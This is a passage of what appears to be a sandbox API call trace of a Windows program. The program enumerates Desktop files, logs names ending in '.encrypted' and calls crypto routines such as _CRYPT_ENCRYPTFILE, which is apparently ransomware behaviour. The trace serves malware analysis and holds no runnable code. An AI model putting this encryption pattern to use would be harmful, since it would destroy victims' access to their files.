lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.733] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.733] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.733] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.733] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.733] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0021.734] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.734] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.734] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.734] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0021.734] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.734] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.734] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.734] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.734] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.734] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.734] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0021.734] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.734] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.734] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.734] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.734] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.760] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.760] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.760] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0021.760] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.760] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.760] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.760] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.760] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.761] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0021.761] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=54) returned 1 [0021.761] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0021.761] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0021.761] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0021.761] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x36, lpOverlapped=0x0) returned 1 [0021.761] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0021.761] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x36, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0021.761] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=54) returned 1 [0021.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\jbm6X5WVPb3d4o.encrypted.m4a\r\n", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0021.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\jbm6X5WVPb3d4o.encrypted.m4a\r\n", cchWideChar=65, lpMultiByteStr=0xe8f40514a0, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\jbm6X5WVPb3d4o.encrypted.m4a\r\n", lpUsedDefaultChar=0x0) returned 65 [0021.761] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4069bf0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069bf0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x40, lpOverlapped=0x0) returned 1 [0021.761] CloseHandle (hObject=0x188) returned 1 [0021.763] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.763] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.763] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.763] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.763] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.763] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0021.763] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.764] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0021.765] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0021.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0021.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41784e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0021.765] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0021.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0021.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41784e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0021.765] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0021.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\MBc0Rw8Uo_Of3f5.wav", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0021.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\MBc0Rw8Uo_Of3f5.wav", cchWideChar=54, lpMultiByteStr=0xe8f404c410, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\MBc0Rw8Uo_Of3f5.wav", lpUsedDefaultChar=0x0) returned 54 [0021.766] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\MBc0Rw8Uo_Of3f5.wav" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\-kar\\mbc0rw8uo_of3f5.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0021.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=54, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 54 [0021.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=54, lpWideCharStr=0xe8f4065af0, cchWideChar=54 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\MBc0Rw8Uo_Of3f5.wav") returned 54 [0021.767] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0021.767] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.767] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.768] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0021.768] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0021.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0021.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0021.768] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0021.768] CloseHandle (hObject=0x188) returned 1 [0021.768] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0021.768] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.768] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.768] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0021.768] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.768] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0021.768] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0021.768] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.769] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.769] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.769] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.769] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.769] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.769] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0021.769] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0021.769] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.769] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.769] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.769] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.769] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.769] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.769] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.769] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0021.769] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.769] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.769] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0021.769] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.769] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.769] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.769] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0021.769] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.769] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.769] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.769] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.769] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.770] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0021.770] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.770] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0021.770] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.770] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.770] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0021.770] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.770] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.770] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.770] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.770] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.770] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0021.770] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.770] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.770] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.770] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.770] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.770] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.770] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0021.770] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.770] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.770] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0021.770] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.770] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.771] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0021.771] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.771] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.771] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0021.771] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.771] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.771] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.771] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.771] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.771] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.771] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.771] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0021.771] PeekMessageW (in: 